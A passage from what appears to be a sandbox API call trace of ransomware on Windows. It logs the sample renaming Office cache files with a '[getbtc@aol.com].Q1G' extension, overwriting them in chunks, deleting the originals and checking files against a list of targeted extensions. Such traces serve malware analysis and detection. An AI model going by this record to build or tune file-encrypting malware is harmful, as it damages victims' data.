lpNewFilePointer=0x0) returned 1 [0048.379] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.379] GetLastError () returned 0x0 [0048.379] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0048.398] WriteFile (in: hFile=0x1a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0048.633] ReadFile (in: hFile=0x188, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x372fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x372fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.633] WriteFile (in: hFile=0x1a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x372fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0048.633] SetEndOfFile (hFile=0x1a0) returned 1 [0048.633] CloseHandle (hObject=0x1a0) returned 1 [0048.634] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.634] SetEndOfFile (hFile=0x188) returned 1 [0048.641] CloseHandle (hObject=0x188) returned 1 [0048.641] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.641] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0048.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.641] lstrlenW (lpString=".doc") returned 4 [0048.641] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.641] lstrlenW (lpString=".docx") returned 5 [0048.641] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0048.641] lstrlenW (lpString=".pdf") returned 4 [0048.641] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.641] lstrlenW (lpString=".xls") returned 4 [0048.641] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.641] lstrlenW (lpString=".xlsx") returned 5 [0048.641] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0048.641] lstrlenW (lpString=".ppt") returned 4 [0048.641] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.641] lstrlenW (lpString=".zip") returned 4 [0048.642] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.642] lstrlenW (lpString=".rar") returned 4 [0048.642] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.642] lstrlenW (lpString=".bz2") returned 4 [0048.642] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.642] lstrlenW (lpString=".7z") returned 3 [0048.642] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.642] lstrlenW (lpString=".dbf") returned 4 [0048.642] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.642] lstrlenW (lpString=".1cd") returned 4 [0048.642] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.642] lstrlenW (lpString=".jpg") returned 4 [0048.642] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.642] lstrlenW (lpString=".doc") returned 4 [0048.642] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.642] lstrlenW (lpString=".docx") returned 5 [0048.642] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0048.642] lstrlenW (lpString=".pdf") returned 4 [0048.642] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.642] lstrlenW (lpString=".xls") returned 4 [0048.642] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.642] lstrlenW (lpString=".xlsx") returned 5 [0048.642] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0048.642] lstrlenW (lpString=".ppt") returned 4 [0048.642] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.642] lstrlenW (lpString=".zip") returned 4 [0048.642] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.642] lstrlenW (lpString=".rar") returned 4 [0048.642] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.642] lstrlenW (lpString=".bz2") returned 4 [0048.643] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.643] lstrlenW (lpString=".7z") returned 3 [0048.643] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.643] lstrlenW (lpString=".dbf") returned 4 [0048.643] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.643] lstrlenW (lpString=".1cd") returned 4 [0048.643] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.643] lstrlenW (lpString=".jpg") returned 4 [0048.643] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.643] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0048.643] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0048.643] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.643] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=36233052) returned 1 [0048.643] CloseHandle (hObject=0x188) returned 1 [0048.643] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0048.643] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.644] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0048.644] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0048.644] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.644] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.644] ReadFile (in: hFile=0x188, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.647] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.647] ReadFile (in: hFile=0x188, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.649] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.649] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.649] ReadFile (in: hFile=0x188, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.663] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.663] WriteFile (in: hFile=0x188, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0048.975] SetEndOfFile (hFile=0x188) returned 1 [0048.975] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fa56f0 [0048.975] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.975] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.976] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.976] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.977] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.977] WriteFile (in: hFile=0x188, lpBuffer=0x3fa56f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa56f0*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.979] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fa56f0 | out: hHeap=0x510000) returned 1 [0048.979] CloseHandle (hObject=0x188) returned 1 [0048.979] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0048.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.979] lstrlenW (lpString=".doc") returned 4 [0048.979] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.979] lstrlenW (lpString=".docx") returned 5 [0048.979] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.979] lstrlenW (lpString=".pdf") returned 4 [0048.979] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.979] lstrlenW (lpString=".xls") returned 4 [0048.980] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString=".xlsx") returned 5 [0048.980] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.980] lstrlenW (lpString=".ppt") returned 4 [0048.980] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.980] lstrlenW (lpString=".zip") returned 4 [0048.980] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString=".rar") returned 4 [0048.980] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString=".bz2") returned 4 [0048.980] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.980] lstrlenW (lpString=".7z") returned 3 [0048.980] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.980] lstrlenW (lpString=".dbf") returned 4 [0048.980] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.980] lstrlenW (lpString=".1cd") returned 4 [0048.980] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.980] lstrlenW (lpString=".jpg") returned 4 [0048.980] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.980] lstrlenW (lpString=".doc") returned 4 [0048.980] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString=".docx") returned 5 [0048.980] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.980] lstrlenW (lpString=".pdf") returned 4 [0048.980] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString=".xls") returned 4 [0048.980] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.980] lstrlenW (lpString=".xlsx") returned 5 [0048.980] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.981] lstrlenW (lpString=".ppt") returned 4 [0048.981] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.981] lstrlenW (lpString=".zip") returned 4 [0048.981] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.981] lstrlenW (lpString=".rar") returned 4 [0048.981] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.981] lstrlenW (lpString=".bz2") returned 4 [0048.981] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.981] lstrlenW (lpString=".7z") returned 3 [0048.981] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.981] lstrlenW (lpString=".dbf") returned 4 [0048.981] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.981] lstrlenW (lpString=".1cd") returned 4 [0048.981] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.981] lstrlenW (lpString=".jpg") returned 4 [0048.981] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.981] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0048.981] lstrlenW (lpString="ProPrWW.cab") returned 11 [0048.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.193] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=177720283) returned 1 [0049.193] CloseHandle (hObject=0x204) returned 1 [0049.193] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0049.193] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.193] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0049.436] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.438] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.441] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.442] ReadFile (in: hFile=0x204, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.478] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.478] ReadFile (in: hFile=0x204, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.481] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.481] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.481] ReadFile (in: hFile=0x204, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.498] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.498] WriteFile (in: hFile=0x204, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0049.798] SetEndOfFile (hFile=0x204) returned 1 [0049.798] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ed0050 [0049.802] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.802] WriteFile (in: hFile=0x204, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.803] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.803] WriteFile (in: hFile=0x204, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.804] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.804] WriteFile (in: hFile=0x204, lpBuffer=0x3ed0050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0050*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.805] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ed0050 | out: hHeap=0x510000) returned 1 [0049.805] CloseHandle (hObject=0x204) returned 1 [0049.806] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0049.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.806] lstrlenW (lpString=".doc") returned 4 [0049.806] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.806] lstrlenW (lpString=".docx") returned 5 [0049.806] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.806] lstrlenW (lpString=".pdf") returned 4 [0049.806] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.806] lstrlenW (lpString=".xls") returned 4 [0049.806] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.806] lstrlenW (lpString=".xlsx") returned 5 [0049.806] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.806] lstrlenW (lpString=".ppt") returned 4 [0049.806] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.806] lstrlenW (lpString=".zip") returned 4 [0049.806] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.806] lstrlenW (lpString=".rar") returned 4 [0049.806] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.806] lstrlenW (lpString=".bz2") returned 4 [0049.806] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.806] lstrlenW (lpString=".7z") returned 3 [0049.806] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.806] lstrlenW (lpString=".dbf") returned 4 [0049.806] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.807] lstrlenW (lpString=".1cd") returned 4 [0049.807] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.807] lstrlenW (lpString=".jpg") returned 4 [0049.807] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0049.807] 